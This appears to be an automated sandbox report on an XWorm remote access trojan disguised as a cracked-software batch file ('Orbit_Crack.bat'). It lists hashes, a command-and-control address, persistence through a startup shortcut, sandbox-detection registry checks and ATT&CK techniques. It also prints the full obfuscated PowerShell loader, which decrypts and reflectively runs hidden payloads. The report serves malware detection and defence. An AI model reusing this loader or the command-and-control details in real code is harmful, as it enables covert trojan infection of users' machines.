xworm | d3dea32d8b022205401a7d5023c1fb63577021b8c38d1b8af43e166fbaa15b24

General

Target

Orbit_Crack.bat
Size

259KB
MD5

1ccd59dd2bbf3dc838039654fed99860
SHA1

1d27c800b05db1f244afeaab7cd6f79549af0ff8
SHA256

d3dea32d8b022205401a7d5023c1fb63577021b8c38d1b8af43e166fbaa15b24
SHA512

58f44f000191551055f4d4fe001e4471ee2b8292cdecd14a6548d5917d78f886a92f4764ab9aea6273755c3da95d2bd0108350d3e11273f729759f140943fb4c
SSDEEP

6144:AE29oanve5LJRxPZ9Q9lgj3B8BlKcurMBZoE589vlwaSIS:AVI5dP89yjGlKcCcasd

Score

10^/10

xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

youth-oecd.gl.at.ply.gg:37887

Mutex

irLH7SnIzjCRjwMK

Attributes

Install_directory
%Userprofile%
install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/380-15-0x0000023941390000-0x000002394139E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Drops startup file 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSys32.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSys32.lnk	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exetaskmgr.exe

pid	process
380	powershell.exe
380	powershell.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

taskmgr.exe

pid process

2380 taskmgr.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exetaskmgr.exe

description	pid	process
Token: SeDebugPrivilege	380	powershell.exe
Token: SeDebugPrivilege	380	powershell.exe
Token: SeDebugPrivilege	2380	taskmgr.exe
Token: SeSystemProfilePrivilege	2380	taskmgr.exe
Token: SeCreateGlobalPrivilege	2380	taskmgr.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

taskmgr.exe

pid	process
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

taskmgr.exe

pid	process
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe
2380	taskmgr.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

cmd.exe

description pid process target process

PID 2896 wrote to memory of 380 2896 cmd.exe powershell.exe
PID 2896 wrote to memory of 380 2896 cmd.exe powershell.exe

description	pid	process	target process
PID 2896 wrote to memory of 380	2896	cmd.exe	powershell.exe
PID 2896 wrote to memory of 380	2896	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Orbit_Crack.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TCHWop+rKfjAUs8Gc6EIcZq3gKQUIuwod9lLSwDglHo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ANiW1ohpeww6mPCu5XWnXw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EobxR=New-Object System.IO.MemoryStream(,$param_var); $NLGjA=New-Object System.IO.MemoryStream; $XEFMi=New-Object System.IO.Compression.GZipStream($EobxR, [IO.Compression.CompressionMode]::Decompress); $XEFMi.CopyTo($NLGjA); $XEFMi.Dispose(); $EobxR.Dispose(); $NLGjA.Dispose(); $NLGjA.ToArray();}function execute_function($param_var,$param2_var){ $DLBIf=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $lObjd=$DLBIf.EntryPoint; $lObjd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Orbit_Crack.bat';$LWqwg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Orbit_Crack.bat').Split([Environment]::NewLine);foreach ($IVrtL in $LWqwg) { if ($IVrtL.StartsWith(':: ')) { $VyyZA=$IVrtL.Substring(3); break; }}$payloads_var=[string[]]$VyyZA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:380

C:\Windows\system32\notepad.exe
"C:\Windows\system32\notepad.exe"
1⤵
PID:1516

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2380

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mnza3vxv.zk4.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSys32.lnk
Filesize
779B

MD5
620d681b7ed901572838ed0085058c14

SHA1
8155ab8f1a73961dd283ec71c48bbc62614d2ce9

SHA256
1b0d34376e277bfa4c820f2a8f19e72bdb5b387f54bf990e0393959b24ac16b3

SHA512
48b2642853aba1585c612401247fd757e341846878805768af4acf848f39f12ae8f0fac3999e7c3add68d85723c28fc935f88c9bba1e9745e8f2c9581c89980b

Download Submit
C:\Users\Admin\WindowsSys32
Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/380-9-0x0000023941300000-0x0000023941322000-memory.dmp

Filesize
136KB

Download
memory/380-10-0x00007FFF276D0000-0x00007FFF28191000-memory.dmp

Filesize
10.8MB

Download
memory/380-12-0x0000023941400000-0x0000023941410000-memory.dmp

Filesize
64KB

Download
memory/380-11-0x0000023941400000-0x0000023941410000-memory.dmp

Filesize
64KB

Download
memory/380-13-0x0000023941350000-0x0000023941358000-memory.dmp

Filesize
32KB

Download
memory/380-14-0x0000023941360000-0x0000023941392000-memory.dmp

Filesize
200KB

Download
memory/380-15-0x0000023941390000-0x000002394139E000-memory.dmp

Filesize
56KB

Download
memory/380-35-0x0000023941400000-0x0000023941410000-memory.dmp

Filesize
64KB

Download
memory/380-34-0x00007FFF276D0000-0x00007FFF28191000-memory.dmp

Filesize
10.8MB

Download
memory/2380-20-0x0000028505150000-0x0000028505151000-memory.dmp

Filesize
4KB

Download
memory/2380-26-0x0000028505150000-0x0000028505151000-memory.dmp

Filesize
4KB

Download
memory/2380-27-0x0000028505150000-0x0000028505151000-memory.dmp

Filesize
4KB

Download
memory/2380-31-0x0000028505150000-0x0000028505151000-memory.dmp

Filesize
4KB

Download
memory/2380-30-0x0000028505150000-0x0000028505151000-memory.dmp

Filesize
4KB

Download
memory/2380-29-0x0000028505150000-0x0000028505151000-memory.dmp

Filesize
4KB

Download
memory/2380-28-0x0000028505150000-0x0000028505151000-memory.dmp

Filesize
4KB

Download
memory/2380-25-0x0000028505150000-0x0000028505151000-memory.dmp

Filesize
4KB

Download
memory/2380-21-0x0000028505150000-0x0000028505151000-memory.dmp

Filesize
4KB

Download
memory/2380-19-0x0000028505150000-0x0000028505151000-memory.dmp

Filesize
4KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads